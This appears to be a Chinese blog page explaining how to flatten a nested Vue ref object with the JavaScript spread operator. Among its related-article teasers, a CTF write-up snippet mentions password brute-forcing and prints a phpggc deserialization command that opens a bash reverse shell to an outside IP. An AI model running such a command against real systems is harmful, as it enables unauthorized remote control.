JS 扩展运算符(...)

news/2024/10/4 17:27:51

平时在对接服务端的数据时,后端返回的数据格式总不尽相同,因此前端总是需要自己再把数据加工处理成自己想要的格式

最近在表格中渲染数据数据时就遇到了部分渲染不出来的情况,后来发现是对层数据,不能直接渲染的原因。

举个例子,一个数组或一个对象里面包含了另一个对象,那在第一层的属性都可以被渲染,第二层的对象就出不来了,这时就可以用扩展运算符把里的东西都展开,再组成同一个层级的对象

const OrderDetail=ref({name: "订单一号",price: 100,count: 2,goodsResponse:{name: "商品一号",price: 100,count: 2}
})
const getOrderDetail = ()=>{console.log(OrderDetail.value);OrderDetail.value = {...OrderDetail.value,...OrderDetail.value.goodsResponse} console.log(OrderDetail.value);
}

 代码解释:

  1. {...OrderDetail.value}:这部分代码创建了 OrderDetail.value 对象的一个浅拷贝。使用展开运算符将 OrderDetail.value 对象中的所有可枚举属性复制到一个新对象中。

  2. {...OrderDetail.value.goodsResponse}:这部分代码同样创建了 OrderDetail.value.goodsResponse 对象的一个浅拷贝,并将这个对象中的所有可枚举属性复制到一个新对象中。

  3. OrderDetail.value = {...OrderDetail.value, ...OrderDetail.value.goodsResponse}:这行代码将上述两个对象合并为一个新对象,并将这个新对象赋值给 OrderDetail.value。合并的规则是,如果两个对象中有相同的属性,那么后面的对象(在这个例子中是 OrderDetail.value.goodsResponse)的属性值会覆盖前面对象(OrderDetail.value)的同名属性值。(如果两个对象有相同的属性,注意保留想要的属性值)

总结来说,这段代码的作用是将 OrderDetail.value 对象和 OrderDetail.value.goodsResponse 对象合并,如果有重复的属性,后者会覆盖前者的值,然后将合并后的对象重新赋值给 OrderDetail.value

数组处理:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/54976.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

leetcode 3 无重复字符最长串

leetcode 3 无重复字符最长串思路使用滑动窗口,建两个整型变量lp和rp,分别代表左边界指针和右边界指针,整型temp储存当前字串长度,整形max储存当前最长长度,然后从左往右遍历字符串。解题过程先将字符串toCharArray转成字符数组m,建一个哈希集合,储存当前已经用过的字符…

jenkins动态切换环境

一.代码层实现动态切换 1.首先在conftest.py下声明pytest_addoption钩子函数,写法如下def pytest_addoption(parser):# 设置要接收的命令行参数parser.addoption("--env", default="prod", choices=[pre, uat, prod, test],help="命令行参数,--env设…

vue3 jsx响应式渲染变量

1、JSX渲染变量 vue在html代码区渲染变量使用双大括号{{ }},jsx在渲染是单大括号{}另外,这里随便记一下一个简单有点绕的业务逻辑 2、多个变量影响判断三元表达式根据上图,想要的效果分别是:订单状态是否支付,显示对应状态 已支付的订单是否申请开发票,显示对应状态;且已…

春秋云镜 Flarum

春秋云镜 Flarum访问发现是个Flarum CMS框架.使用rockyou.txt爆破administrator得到密码1chris,登录后台 由于题目提示Flarum上执行任意命令,搜到了P牛的文章 照着打反序列化. 执行命令 ./phpggc -p tar -b Monolog/RCE6 system "bash -c bash -i >& /dev/tcp/123.…

Qt/C++地址转坐标/坐标转地址/逆地址解析/支持百度高德腾讯和天地图

一、前言说明 地址和经纬度坐标转换的功能必须在线使用,一般用在导航需求上,比如用户输入起点地址和终点地址,查询路线后,显示对应的路线,而实际上各大地图厂家默认支持的是给定经纬度坐标来查询(百度地图支持传入地址),但是你让用户输入经纬度坐标是不可能的,他肯定不…

Ethercat设备数据 转IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 5 设置网关采集ETHERCAT数据 5 6 用IEC61850协议转发数据 7 7 网关使用多个逻辑设备和逻辑节点的方法 9 8 安装NPCAP 10 9 案例总结 11 1 案例说明设置网关采集EtherCAT设备数据 把采集的数据转成IEC61850协议转发给其他…